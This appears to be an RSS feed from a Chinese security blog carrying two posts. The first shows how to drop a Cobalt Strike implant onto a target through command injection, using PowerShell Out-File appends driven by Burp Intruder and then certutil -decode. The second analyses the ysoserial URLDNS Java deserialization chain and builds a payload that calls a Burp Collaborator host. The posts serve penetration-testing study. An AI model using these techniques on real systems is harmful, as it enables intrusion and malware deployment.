<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dns &#8211; ChaBug安全</title>
	<atom:link href="/tags/dns/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 28 Sep 2020 07:10:17 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>极限环境Certutil加Powershell配合Burp快速落地文件</title>
		<link>/web/1917.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 28 Sep 2020 07:10:17 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[certutil]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[上线]]></category>
		<guid isPermaLink="false">/?p=1917</guid>

					<description><![CDATA[碰到一些极限环境，比如站库分离只出dns的时候，想上线cs的马，但是文件迟迟不能落地，相信很多人都会想到certutil等工具。 而在使用certutil base64通过echo...]]></description>
										<content:encoded><![CDATA[<p>碰到一些极限环境，比如站库分离只出<span class="wpcom_tag_link"><a href="/tags/dns" title="dns" target="_blank">dns</a></span>的时候，想<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e7%ba%bf" title="上线" target="_blank">上线</a></span>cs的马，但是文件迟迟不能落地，相信很多人都会想到<span class="wpcom_tag_link"><a href="/tags/certutil" title="certutil" target="_blank">certutil</a></span>等工具。</p>
<p>而在使用certutil base64通过echo写文件时，echo会在每行的末尾追加一个空格，加上http传输的URL编码问题，有一些傻逼环境总是decode时候出错，而且一些几十几百k的文件，一行一行echo实在是拉跨。所以用<span class="wpcom_tag_link"><a href="/tags/powershell" title="powershell" target="_blank">powershell</a></span>配合bp的爆破模块来写文件，然后 <code>certutil -decode</code> 就完事了，轻松省心。</p>
<pre><code class="language-powershell line-numbers">powershell -c "'a' | Out-File C:\1.txt -Append"
</code></pre>
<p>写文件的时候通过bp的爆破模块去单线程写入文件，举一个请求包的例子。</p>
<pre><code class="language-http line-numbers">/login HTTP/1.1
Host: baidu.com

cmd=powershell -c "'§§' | Out-File C:\1.txt -Append"
</code></pre>
<p>设置参数<br />
<img src="https://y4er.com/img/uploads/20200928158664.png" alt="image.png" /></p>
<p>设置certutil encode的txt字典<br />
<img src="https://y4er.com/img/uploads/20200928155864.png" alt="image.png" /></p>
<p>勾上URL编码<br />
<img src="https://y4er.com/img/uploads/20200928158567.png" alt="image.png" /></p>
<p>设置单线程，你也可以设置每次请求之后sleep 1秒。<br />
<img src="https://y4er.com/img/uploads/20200928152618.png" alt="image.png" /></p>
<p>冲完之后落地到目标的txt文件和本地的txt文件hash一致，decode之后的文件hash仍然一致。</p>
<p>本地还原文件的hash<br />
<img src="https://y4er.com/img/uploads/20200928152292.png" alt="image.png" /></p>
<p>落地到目标还原之后的文件hash<br />
<img src="https://y4er.com/img/uploads/20200928150771.png" alt="image.png" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ysoserial URLDNS分析</title>
		<link>/audit/1209.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:14:36 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1209</guid>

					<description><![CDATA[简单的gadget构造。 分析 先来看ysoserial的payload public Object getObject(final String url) throws Exce...]]></description>
										<content:encoded><![CDATA[<p>简单的gadget构造。</p>
<h2>分析</h2>
<p>先来看<span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>的payload</p>
<pre><code class="language-java ">public Object getObject(final String url) throws Exception {

    //Avoid DNS resolution during payload creation
    //Since the field &lt;code&gt;java.net.URL.handler&lt;/code&gt; is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();

    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

    return ht;
}
</code></pre>
<p>可以看到是HashMap类的问题，而触发<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>的⽅法是 readObject ，直奔 HashMap 类的 readObject ⽅法：</p>
<pre><code class="language-java ">private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor &lt;= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings &lt; 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings &gt; 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc &lt; DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc &gt;= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap &lt; MAXIMUM_CAPACITY &amp;&amp; ft &lt; MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node&lt;K,V&gt;[] tab = (Node&lt;K,V&gt;[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i &lt; mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}
</code></pre>
<p>在最后进行了hash(key)计算，跟进</p>
<pre><code class="language-java ">static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);
}
</code></pre>
<p>进行了hashCode()函数，而key此时是我们传入的 <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.net.URL 对象，那么跟进这个类的hashCode()方法看下</p>
<pre><code class="language-java ">public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}
</code></pre>
<p>当hashCode字段等于-1时会进行handler.hashCode(this)计算，handler是定义的URLStreamHandler字段，那么进入java.net.URLStreamHandler#hashCode()</p>
<p><img src="/wp-content/uploads/2020/02/20200216016235-1.png" alt="image" /></p>
<p>u是我们传入的URL，getHostAddress会进行<span class="wpcom_tag_link"><a href="/tags/dns" title="dns" target="_blank">dns</a></span>查询。整个链比较简单：<br />
1. HashMap->readObject()<br />
2. HashMap->hash()<br />
3. URL->hashCode()<br />
4. URLStreamHandler->hashCode()<br />
5. URLStreamHandler->getHostAddress()<br />
6. InetAddress->getByName()</p>
<h2>构造payload</h2>
<pre><code class="language-java ">package com.sera.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS implements Serializable {

    public static void main(String[] args) throws MalformedURLException, NoSuchFieldException, IllegalAccessException {

        URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) throws IOException {
                return null;
            }
        };
        HashMap hm = new HashMap();
        String url = "http://0jkp1tes60w8k6928kvujpirnit9hy.burpcollaborator.net/";
        URL u = new URL(null, url, handler);
        Class clazz = u.getClass();

        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u, -1);
        hm.put(u, url);
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/02/20200216015833-1.png" alt="image" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
